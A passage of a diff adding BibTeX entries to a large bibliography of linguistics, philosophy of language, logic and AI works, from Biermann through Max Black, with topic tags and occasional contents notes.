+ year = {1972}, + volume = {3}, + number = {1--3}, + pages = {181--198}, + topic = {learning-theory;} + } + +@book{ biermann:1997a, + author = {Alan W. Biermann}, + title = {Great Ideas in Computer Science}, + publisher = {The {MIT} Press}, + year = {1997}, + edition = {2nd}, + address = {Cambridge, Massachusetts}, + topic = {cs-intro;} + } + +@article{ bierwisch:1967a, + author = {Manfred Bierwisch}, + title = {Some Semantic Universals of {G}erman Adjectivals}, + journal = {Foundations of Language}, + year = {1967}, + volume = {3}, + pages = {1--36}, + missinginfo = {A's 1st name, number}, + topic = {nl-semantics;semantic-primitives;German-language; + semantics-of-adjectives;} + } + +@book{ bierwisch-heidolph:1970a, + editor = {Manfred Bierwisch and Karl Erich Heidolph}, + title = {Progress In Linguistics: A Collection of Papers}, + publisher = {Mouton}, + year = {1970}, + address = {The Hague}, + topic = {linguistics-misc-collection;} + } + +@incollection{ bierwisch:1971a, + author = {Manfred Bierwisch}, + title = {On Classifying Semantic Features}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {410--435}, + address = {Cambridge, England}, + topic = {componential-semantics;} + } + +@book{ bierwisch:1971b, + author = {Manfred Bierwisch}, + title = {Modern Linguistics; Its Development, Methods and Problems}, + publisher = {Mouton}, + year = {1971}, + address = {The Hague}, + topic = {linguistics-intro;linguistics-history;} + } + +@incollection{ bierwisch:1976a1, + author = {Manfred Bierwisch}, + title = {Social Differentiation of Language Structure}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {407--456}, + address = {Dordrecht}, + xref = {Alternate publication: bierwisch:1976a2.}, + topic = {linguistic-variation;foundations-of-linguistics;} + } + +@incollection{ bierwisch:1976a2, + author = {Manfred Bierwisch}, + title = {Social Differentiation of Language Structures}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {271--312}, + address = {New York}, + xref = {Alternate publication: bierwisch:1976a1.}, + topic = {linguistic-variation;foundations-of-linguistics;} + } + +@unpublished{ bierwisch:1982a, + author = {Manfred Bierwisch}, + title = {Formal and Lexical Semantics}, + year = {1982}, + note = {Unpublished manuscript.}, + topic = {nl-semantics;lexical-semantics;} + } + +@book{ bierwisch-lang:1989a, + author = {Manfred Bierwisch and Ewald Lang}, + title = {Dimensional Adjectives: Grammatical Structure and + Conceptual Interpretation}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + ISBN = {3540506330 (Germany) 0387506330 (U.S.A.)}, + topic = {adjectives;nl-semantics;spatial-reasoning;} + } + +@article{ bierwisch:1996a, + author = {Manfred Bierwisch}, + title = {Tools and Explanations of Comparison: Part {I}}, + journal = {Journal of Semantics}, + year = {1996}, + volume = {6}, + number = {1}, + pages = {57--93}, + missinginfo = {Date is a guess.}, + topic = {comparative-constructions;adjectives;measurement-theory;} + } + +@article{ bigaj:2001a, + author = {Thomas Bigaj}, + title = {Three-Valued Logic, Indeterminacy and Quantum Mechanics}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {2}, + pages = {97--119}, + topic = {quantum-logic;multi-valued-logic;} + } + +@article{ bigelow:1975a, + author = {John C. Bigelow}, + title = {Contexts and Quotation {I}}, + journal = {Linguistische {B}erichte}, + year = {1975}, + volume = {38}, + number = {1975}, + pages = {1--22}, + topic = {direct-discourse;context;indexicals;} + } + +@article{ bigelow:1975b, + author = {John C. Bigelow}, + title = {Contexts and Quotation {II}}, + journal = {Linguistische {B}erichte}, + year = {1975}, + volume = {39}, + number = {1975}, + pages = {1--22}, + topic = {direct-discourse;context;indexicals;} + } + +@article{ bigelow:1976a, + author = {John C. Bigelow}, + title = {Possible Worlds Foundations for Probability}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {299--320}, + topic = {foundations-of-probability;possible-worlds-semantics;} + } + +@article{ bigelow:1977a, + author = {John C. Bigelow}, + title = {Review of {\it Language, Mind, and Knowledge}, edited by + {K}eith {G}underson}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {301--304}, + xref = {Review of gunderson:1975a.}, + topic = {philosophy-of-language;} + } + +@incollection{ bigelow:1978a, + author = {John C. Bigelow}, + title = {Semantics of Thinking, Speaking and Translation}, + booktitle = {Meaning and Translation: Philosophical and Logical + Approaches}, + publisher = {New York University Press}, + year = {1978}, + editor = {Franz Guenthner and Monica Guenthner-Reutter}, + pages = {109--135}, + address = {New York}, + topic = {propositional-attitudes;intensionality;} + } + +@article{ bigelow:1978b, + author = {John C. Bigelow}, + title = {Review of {\it Issues in the Philosophy of Language}, + edited by {A}lfred {F}. {M}ackay and {D}.{D}. {M}errill}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {3}, + pages = {447--454}, + xref = {Review of mackay_af-merrill_dd:1976a.}, + topic = {philosophy-of-language;} + } + +@article{ bigelow:1980a, + author = {John C. Bigelow}, + title = {Believing in Semantics}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {2}, + number = {1}, + pages = {101--144}, + title = {Review of {\it Subjunctive Reasoning}, by {J}ohn {P}ollock}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {4}, + number = {1}, + pages = {129--139}, + xref = {Review of pollock:1976a.}, + topic = {conditionals;} + } + +@incollection{ bigelow:1981a, + author = {John C. Bigelow}, + title = {Truth and Universals}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {168--189}, + address = {Berlin}, + topic = {propositions;possible-worlds;} + } + +@incollection{ bilgrami:1998a, + author = {Akeel Bilgrami}, + title = {Why Holism is Harmless and Necessary}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {105--126}, + address = {Oxford}, + topic = {holism;philosophy-of-mind;philosophy-of-language;} + } + +@article{ billinge:1997a, + author = {Helen Billinge}, + title = {A Constructive Formulation of {G}leason's Theorem}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {6}, + pages = {661--670}, + contentnote = {Gleason's theorem is important in QM, it says that + all probability measures over the projection lattice of + Hilbert space can be represented as density operators. + G. Hellman argued that this theorem is not constructively + provable. See hellman_g:1993a.}, + topic = {quantum-logic;foundations-of-quantum-mechanics; + constructive-mathematics;} + } + +@article{ billings-etal:2002a, + author = {Darse Billings and Aaron Davidson and Jonathan Schaeffer + and Duane Szafron}, + title = {The Challenge of Poker}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {201--240}, + topic = {computer-games;agent-modeling;connectionist-models;} + } + +@article{ billington-rock:2001a, + author = {David Billington and Andrew Rock}, + title = {Proposiitonal Plausible Logic: Introduction and + Implementation}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {243--269}, + topic = {common-sense-reasoning;nonmonotonic-reasoning; + nonmonotonic-logic;} + } + +@incollection{ binaghi:1991a, + author = {Elisabetta Binaghi}, + title = {Learning of Uncertain Classification Rules in Medical + Diagnosis}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {115--119}, + address = {Berlin}, + topic = {machine-learning;fuzzy-logics;} + } + +@book{ binkley-marras:1971a, + editor = {Robert Binkley and Richard Bronaugh and Ausonio Marras}, + title = {Agent, Action, and Reason}, + publisher = {Blackwell Publishers}, + year = {1971}, + address = {Oxford}, + ISBN = {0631139109}, + topic = {action;agency;} + } + +@article{ binmore:1987a, + author = {Ken Binmore}, + title = {Modeling Rational Players {I}}, + journal = {Economics and Philosophy}, + year = {1987}, + volume = {3}, + pages = {179--214}, + missinginfo = {A's 1st name, number}, + topic = {game-theory;epistemic-logic;} + } + +@article{ binmore:1988a, + author = {Ken Binmore}, + title = {Modeling Rational Players {II}}, + journal = {Economics and Philosophy}, + year = {1988}, + volume = {4}, + pages = {9--55}, + missinginfo = {A's 1st name, number}, + topic = {game-theory;epistemic-logic;} + } + +@book{ binmore:1990a, + author = {Ken Binmore}, + title = {Essays on the Foundations of Game Theory}, + publisher = {Blackwell Publishers}, + year = {1990}, + address = {Oxford}, + ISBN = {0631168664}, + topic = {foundations-of-game-theory;game-theory;} + } + +@incollection{ binmore-shin:1993a, + author = {Ken Binmore and H.S. Shin}, + title = {Algorithmic Knowledge and Game Theory}, + booktitle = {Knowledge, Belief, and Strategic Interaction}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Cristina Bicchieri and M.L.D. Chiara}, + chapter = {9}, + address = {Cambridge, England}, + missinginfo = {A's 1st name, E's 1st name}, + topic = {game-theory;epistemic-logic;} + } + +@incollection{ binmore:1994a, + author = {Ken Binmore}, + title = {Rationality in the Centipede}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {150--159}, + address = {San Francisco}, + topic = {game-theory;backward-induction;} + } + +@inproceedings{ binnick:1970a, + author = {Robert I. Binnick}, + title = {Ambiguity and Vagueness}, + booktitle = {Proceedings From the Sixth Regional Meeting of the + {C}hicago {L}inguistic {S}ociety}, + year = {1970}, + pages = {147--153}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Chicago, IL}, + topic = {ambiguity;vagueness;} + } + +@book{ binnick:1991a, + author = {Robert I. Binnick}, + title = {Time and the Verb: A Guide to Tense and Aspect}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + topic = {tense-aspect;} + } + +@book{ biocca-levy:1995a, + editor = {Frank Biocca and Mark R. Levy}, + title = {Communication in the Age of Virtual Reality}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Hillsdale, New Jersey}, + contentnote = {TC: + 1. Frank Biocca and Taeyong Kim and Mark R. Levy, "The Vision + of Virtual Reality" + 2. Frank Biocca and Mark R. Levy, "Virtual Reality as a + Communication System" + 3. Jonathan Steuer, "Defining Virtual Reality: Dimensions + Determining Telepresence" + 4. Frank Biocca and Ben Delaney, "Immersive Virtual Reality + Technology" + 5. Frank Biocca and Mark R. Levy, "Communication Applications + of Virtual Reality" + 6. Diana Gagnon Hawkins, "Virtual Reality and Passive + Simulators: The Future of Fun" + 7. Carrie Heeter, "Communication Research on Consumer {VR}" + 10.Kenneth Meyer, "Dramatic narrative in virtual reality" + 11.Gregory Kramer, "Sound and Communication in Virtual + Reality" + 12. Mark T. Palmer, "Interpersonal Communication and Virtual + Reality: Mediating Interpersonal Relationships" + 13. Thomas W. Valente and Thierry Bardini, "Virtual Diffusion + or an Uncertain Reality: Networks, Policy, and Models + for the Diffusion of {VR} Technology" + 14. Michael A. Shapiro and Daniel G. McDonald, "I'm Not a Real + Doctor, But I Play One in Virtual Reality: + Implications of Virtual Realty for Judgements about + Reality" + 15. Anne Balsamo, "Signal to Noise: On the Meaning of + Cyberpunk Subculture" + 16. Lisa St. Clair Harvey, "Communication Issues and Policy + Implications" + } , + ISBN = {080581549X (c: alk. paper)}, + topic = {virtual-reality;} + } + +@article{ bird_a:1998a, + author = {A. Bird}, + title = {Dispositions and Antidotes}, + journal = {The Philosophical Quarterly}, + year = {1998}, + volume = {48}, + number = {191}, + pages = {227--234}, + topic = {dispositions;} + } + +@article{ bird_g:1979a, + author = {G. Bird}, + title = {Speech Acts and Conversation, Part {II}}, + journal = {Philosophical Quarterly}, + year = {1979}, + volume = {29}, + pages = {142--152}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;implicature;} + } + +@phdthesis{ bird_s:1990a, + author = {Stephen Bird}, + title = {Constraint-Based Phonology}, + school = {University of Edinburgh}, + year = {1990}, + type = {Ph.{D}. Dissertation}, + address = {Edinburgh}, + topic = {computational-phonology;foundations-of-phonology;} + } + +@article{ bird_s-klein:1990a, + author = {Stephen Bird and Ewan Klein}, + title = {Phonological Events}, + journal = {Journal of Linguistics}, + year = {1990}, + volume = {26}, + pages = {33--56}, + missinginfo = {number}, + topic = {foundations-of-phonology;nonlinear-phonology;} + } + +@incollection{ bird_s-calder:1991a, + author = {Steven Bird and Jo Calder}, + title = {Defaults in Underspecification Phonology}, + booktitle = {Default Logics for Linguistic Analysis}, + publisher = {University of Stuttgart}, + year = {1991}, + editor = {Hans Kamp}, + pages = {129--139}, + address = {Stuttgart}, + note = {{DYANA} Deliverable R2.5.B}, + topic = {phonology;underspecification-theory;nml;} + } + +@article{ bird_s-ellison:1994a, + author = {Steven Bird and T. Mark Ellison}, + title = {One Level Phonology: Autosegmental Representations and + Rules as Finite Automata}, + journal = {Computational Linguistics}, + volume = {20}, + year = {1994}, + pages = {55--90}, + topic = {computational-phonology;} + } + +@article{ bird_s-klein:1994a, + author = {Steven Bird and Ewan Klein}, + title = {Phonological Analyses in Typed Feature Structures}, + journal = {Computational Linguistics}, + volume = {20}, + year = {1994}, + pages = {455--491}, + topic = {computational-phonology;} + } + +@book{ bird_s:1995a, + author = {Steven Bird}, + title = {Computational Phonology: A Constraint-Based Approach}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + ISBN = {0-521-47496-5}, + xref = {Review: wheeler_dw-carpenter:1995a.}, + topic = {computational-phonology;} + } + +@techreport{ bird_s-liberman:1999a, + author = {Steven Bird and Mark Liberman}, + title = {A Formal Framework for Linguistic Annotation}, + institution = {Department of Computer and Information + Science, University of Pennsylvania}, + number = {MS-CIS-99-01}, + year = {1999}, + address = {Philadelphia, Pennsylvania}, + topic = {corpus-annotation;corpus-linguistics;} + } + +@incollection{ bird_s-liberman:1999b, + author = {Steven Bird and Mark Liberman}, + title = {Annotation Graphs as a Framework for Multidimensional + Linguistic Data Analysis}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {1--10}, + address = {Somerset, New Jersey}, + topic = {corpus-tagging;representation-of-ling-info;} + } + +@book{ bird_s-simons:2000a, + editor = {Stephen Bird and Gary Simons}, + title = {Linguistic Explorations: Workshop on Web-Based Language + Documentation and Description}, + publisher = {Institute for Research in Cognitive Science, + University of Pennsylvania}, + year = {2000}, + address = {Philadelphia, Pennsylvania}, + note = {See www.ldc.upenn.edu/exploration/expl2000}, + topic = {internet-based-language-documentation;} + } + +@book{ birkenmayer-folejewski:1978a, + author = {Sigmund S. Birkenmayer and Zbigniew Folejewski}, + title = {Introduction to the {P}olish Language}, + publisher = {Kosciuszko Foundation}, + edition = {3}, + year = {1978}, + address = {New York}, + ISBN = {0917004116}, + topic = {Polish-language;reference-grammars;} + } + +@book{ birkhoff:1967a, + author = {Garrett Birkhoff}, + title = {Lattice Theory}, + publisher = {American Mathematical Society}, + year = {1967}, + address = {Providence, RI}, + topic = {lattice-theory;} + } + +@article{ birnbaum_l:1991a, + author = {Lawrence Birnbaum}, + title = {Rigor Mortis: A Response to {N}ilsson's `{L}ogic and + Artificial Intelligence'}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {57--77}, + contentnote = {Discusses the limits of the logicist approach.}, + topic = {logic-in-AI-survey;} + } + +@book{ birnbaum_mm:1998a, + editor = {Michael H. Birnbaum}, + title = {Measurement, Judgment, and Decision Making}, + publisher = {Academic Press}, + year = {1998}, + address = {San Diego}, + ISBN = {0120999757 (alk. paper)}, + topic = {psychometrics;} + } + +@incollection{ birner:1997a, + author = {Betty J. Birner}, + title = {Recency Effects in {E}nglish Inversion}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {309--323}, + address = {Oxford}, + topic = {discourse;pragmatics;given-new;centering;} + } + +@article{ biro:1979a, + author = {John I. Biro}, + title = {Intentionalism in the Theory of Meaning}, + journal = {The Monist}, + year = {1979}, + volume = {62}, + pages = {238--258}, + missinginfo = {number}, + topic = {speaker-meaning;intention;pragmatics;} + } + +@book{ biro-shahan:1982a, + editor = {John I. Biro and Robert W. Shahan}, + title = {Mind, Brain, and Function: Essays in the Philosophy of Mind}, + publisher = {University of Oklahoma Press}, + year = {1982}, + address = {Norman, Oklahoma}, + topic = {philosophy-of-mind;} + } + +@incollection{ biro:1995a, + author = {John Biro}, + title = {The Neo-{F}regean Argument}, + booktitle = {Frege, Sense and Reference One Hundred Years Later}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {John I. Biro and Petr Kotatko}, + pages = {185--205}, + address = {Dordrecht}, + topic = {intensionality;reference;foundations-of-semantics;Frege;} + } + +@book{ biro-kotatko:1995a, + editor = {John I. Biro and Petr Kotatko}, + title = {Frege, Sense and Reference One Hundred Years Later}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + contentnote = {TC: + 1. Thomas Baldwin, Three Puzzles in Frege's Theory of Truth, 1--15 + 2. Gabriel Segal, Truth and Sense, 15--24 + 3. Barry Smith, Frege and Chomsky: Sense and Psychologism, 25--46 + 4. Petr Kotatko, Meaning and the Third Realm, 47--57 + 5. David Wiggins, Putnam's Doctrine of Natural Kind Words and + {F}rege's Doctrines of Sense, Reference, and Extension: + Can They Cohere?, 59--74 + 6. A.C. Grayling, Concept-Reference and Kinds, 75--93 + 7. Francois Rencanati, The Communication of First Person Thoughts, + 95--102 + 8. Tom Stoneham, Transparency, Sense and Self-Knowledge, 103--112 + 9. Christine Tappolet, The Sense and Reference of Evaluative Terms, + 113--127 + 10. Peter Simons, The Next Best Thing to Sense in the {B}egriffschrift, + 129-140 + 11. David Owens, Understanding Names, 141--149 + 12. Emos Corazza and Jerome Dori\v{c}, Why is {F}rege's Puzzle + Still Puzzling?, 151--168 + 13. Martin Hahn, The {F}rege Puzzle One More Time, 169-183 + 14. John Biro, The Neo-{F}regean Argument, 185--205 + } , + topic = {Frege;} + } + +@article{ bishop_ma-stich:1998a, + author = {Michael A. Bishop and Stephen P. Stich}, + title = {The Flight to Reference, or How Not to Make Progress + in the Philosophy of Science}, + journal = {Philosophy of Science}, + year = {1998}, + volume = {65}, + number = {1}, + pages = {33--49}, + topic = {metaphilosophy;reference;} + } + +@inproceedings{ biso-etal:2000a, + author = {Alessandro Biso and Francesca Rossi and Alessandro + Sperduti}, + title = {Experimental Results on Learning Soft Constraints}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {435--444}, + topic = {machine-learning;experimentai-AI;preference-learning;} + } + +@incollection{ bittel:1992a, + author = {Oliver Bittel}, + title = {Tableau-Based Theorem Proving and Synthesis of + {$\lambda$}-Terms in the Intuitionistic Logic}, + booktitle = {Logics in {AI}}, + publisher = {Springer-Verlag}, + editor = {Samson Abramsky and Steven Vickers}, + year = {1992}, + volume = {633}, + series = {LNCS}, + pages = {262--278}, + address = {Berlin}, + topic = {theorem-proving;intuitionistic-logic;} + } + +@unpublished{ bittencourt:1989a, + author = {Guilherme Bittencourt}, + title = {A Four-Valued Semantics for Inheritance with Exceptions}, + year = {1989}, + note = {Unpublished manuscript, Universit\"at Karlsruhe.}, + topic = {inheritance-theory;multi-valued-logic;} + } + +@techreport{ bittencourt:1990a, + author = {Guilherme Bittencourt}, + title = {The {MANTRA} Reference Manual}, + institution = {Institut f\"ur {A}lgorithmen und {K}ognitive {S}ysteme, + {F}akult\"at f\"ur {I}nformatik, {U}niversit\"at {K}arlsruhe}, + number = {2/90}, + year = {1990}, + address = {D--7500 Karlsruhe 1}, + topic = {kr;hybrid-kr-architectures;} + } + +@incollection{ bittner:1985a, + author = {Maria Bittner}, + title = {Quantification in {E}skimo: A Challenge for Compositional + Semantics}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {59--80}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;compositionality;Inuit-language;} + } + +@incollection{ bittner-hale:1985a, + author = {Maria Bittner and Ken Hale}, + title = {Remarks on Definiteness in {W}alpiri}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {81--105}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;(in)definiteness;Australian-language;} + } + +@unpublished{ bittner:1992a, + author = {Maria Bittner}, + title = {Ergativity, Binding and Scope}, + year = {1992}, + note = {Unpublished manuscript, Rutgers University}, + topic = {ergativity;binding-theory;nl-quantifier-scope;} + } + +@unpublished{ bittner:1993a, + author = {Maria Bittner}, + title = {Cross-Linguistic Semantics}, + year = {1993}, + note = {Unpublished manuscript, Linguistics Department, Rutgers + University.}, + topic = {nl-semantics;universal-grammar;} + } + +@article{ bittner:1994a, + author = {Maria Bittner}, + title = {Cross-Linguistic Semantics}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {1}, + pages = {53--108}, + topic = {nl-semantics;universal-gramamr;} + } + +@article{ bittner-hale:1996a, + author = {Maria Bittner and Ken Hale}, + title = {Ergativity: Towards a Theory of a Heterogeneous Class}, + journal = {Linguistic Inquiry}, + year = {1996}, + volume = {27}, + number = {4}, + pages = {531--604}, + topic = {ergativity;} + } + +@article{ bittner:1998a, + author = {Maria Bittner}, + title = {Cross-Linguistic Semantics for Questions}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {1}, + pages = {1--82}, + topic = {interrogatives;nl-semantics;} + } + +@article{ bittner:1999a, + author = {Maria Bittner}, + title = {Concealed Causatives}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {1}, + pages = {1--78}, + topic = {causatives;nl-semantics;} + } + +@incollection{ bittner:2002a, + author = {Thomas Bittner}, + title = {Judgments about Spatio-Temporal Relations}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {521--532}, + address = {San Francisco, California}, + topic = {kr;spatial-reasoning;} + } + +@incollection{ bizzi-mussaivaldi:1989a, + author = {E. Bizzi and F.A. Mussa-Ivaldi}, + title = {Geometrical and Mechanical Issues in Movement Planning and + Control}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + address = {Cambridge, Massachusetts}, + missinginfo = {pages, A's First names.}, + topic = {motor-skills;motion-mechanics;} + } + +@incollection{ bizzi-mussaivaldi:1990a, + author = {E. Bizzi and F.A. Mussa-Ivaldi}, + title = {Muscle Properties and the Control of Arm Movements}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {213--242}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;motor-skills;} + } + +@book{ bjarkman-raskin:1986a, + editor = {Peter C. Bjarkman and Victor Raskin}, + title = {The Real-World Linguist: Linguistic Applications in the + 1980s}, + publisher = {Ablex Publishing}, + year = {1986}, + address = {Norwood, New Jersey}, + topic = {applications-of-linguistics;} + } + +@inproceedings{ blache:1998a, + author = {Philippe Blache}, + title = {Parsing Ambiguous Structures using Controlled Disjunctions + and Unary Quasi-Trees}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {124--130}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {parsing-algorithms;disambiguation;} + } + +@article{ blachowicz:1997a, + author = {James Blachowicz}, + title = {Analog Representation beyond Mental Imagery}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {2}, + pages = {55--84}, + topic = {analog-digital;representation;} + } + +@book{ black_d-newing:1998a, + author = {by Duncan Black and R.A. Newing}, + edition = {2}, + title = {The Theory of Committees and Elections}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Boston}, + ISBN = {0792381106}, + note = {Edited by Iain McLean, Alistair McMillan, and + Burt L. Monroe, with a foreword by Ronald H. Coase.}, + topic = {voting-theory;} + } + +@inproceedings{ black_e-etal:1998a, + author = {Ezra Black and Andrew Finch and Hideki Kashioka}, + title = {Trigger-Pair Predictors in Parsing and Tagging}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {131--137}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {trigger-pair-predictors;parsing-algorithms; + part-of-speech-tagging;} +} + +@article{ black_m:1937a1, + author = {Max Black}, + title = {Vagueness: an Exercise in Logical Analysis}, + journal = {Philosophy of Science}, + year = {1937}, + volume = {4}, + pages = {427--455}, + missinginfo = {Reprinted, with Reply to Hempel, in + black:1949a, pp. ???.}, + xref = {Republication of black_m:1937a1.}, + topic = {vagueness;} + } + +@incollection{ black_m:1937a2, + author = {Max Black}, + title = {Vagueness: An Exercise in Philosophical Analysis}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {69--81}, + address = {Cambridge, Massachusetts}, + xref = {Republication: black_m:1937a2.}, + topic = {vagueness;} + } + +@book{ black_m:1949a, + author = {Max Black}, + title = {Language and Philosophy}, + publisher = {Cornell University Press}, + year = {1949}, + address = {Ithaca, New York}, + topic = {philosophy-of-language;} + } + +@article{ black_m:1954a1, + author = {Max Black}, + title = {Metaphor}, + journal = {Proceedings of the {A}ristotelian {S}ociety}, + year = {1954}, + volume = {55}, + pages = {273--294}, + xref = {Republication: black_m:1954a2.}, + topic = {metaphor;} + } + +@incollection{ black_m:1954a2, + author = {Max Black}, + title = {Metaphor}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {25--47}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1954a1.}, + topic = {metaphor;} + } + +@article{ black_m:1955a1, + author = {Max Black}, + title = {Why Cannot an Effect Precede Its Cause?}, + journal = {Analysis}, + year = {1955}, + volume = {16}, + pages = {49--58}, + xref = {Republication: black_m:1955a2}, + topic = {causality;temporal-direction;} + } + +@incollection{ black_m:1955a2, + author = {Max Black}, + title = {Can the Effect Precede the Cause?}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {170--}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1962a}, + topic = {causality;temporal-direction;} + } + +@article{ black_m:1958a1, + author = {Max Black}, + title = {Language and Reality}, + journal = {Proceedings and Addresses of the {A}merican + {P}hilosophical {A}ssociation}, + year = {1958}, + volume = {32}, + pages = {5--17}, + xref = {Republication: black_m:1958a2}, + topic = {philosophy-of-language;philosophical-ontology;} + } + +@incollection{ black_m:1958a2, + author = {Max Black}, + title = {Language and Reality}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {1--16}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1962a}, + topic = {philosophy-of-language;philosophical-ontology;} + } + +@article{ black_m:1958b1, + author = {Max Black}, + title = {Necessary Statements and Rules}, + journal = {The Philosophical Review}, + year = {1958}, + volume = {67}, + pages = {313--341}, + xref = {Republication: black_m:1958b2}, + topic = {necessary-truth;philosophy-of-language;} + } + +@incollection{ black_m:1958b2, + author = {Max Black}, + title = {Necessary Statements and Rules}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {64--94}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1958b1.}, + topic = {necessary-truth;philosophy-of-language;} + } + +@article{ black_m:1958c1, + author = {Max Black}, + title = {The Analysis of Rules}, + journal = {Theoria}, + year = {1958}, + volume = {24}, + pages = {107--136}, + xref = {Republication: black_m:1958c2.}, + topic = {foundations-of-linguistics;rule-following;} + } + +@incollection{ black_m:1958c2, + author = {Max Black}, + title = {The Analysis of Rules}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {95--139}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1958a1.}, + topic = {foundations-of-linguistics;rule-following;} + } + +@incollection{ black_m:1958d1, + author = {Max Black}, + title = {Making Something Happen}, + booktitle = {Determinism and Freedom}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Sidney Hook}, + pages = {25--33}, + address = {Ithaca, New York}, + xref = {Republication: 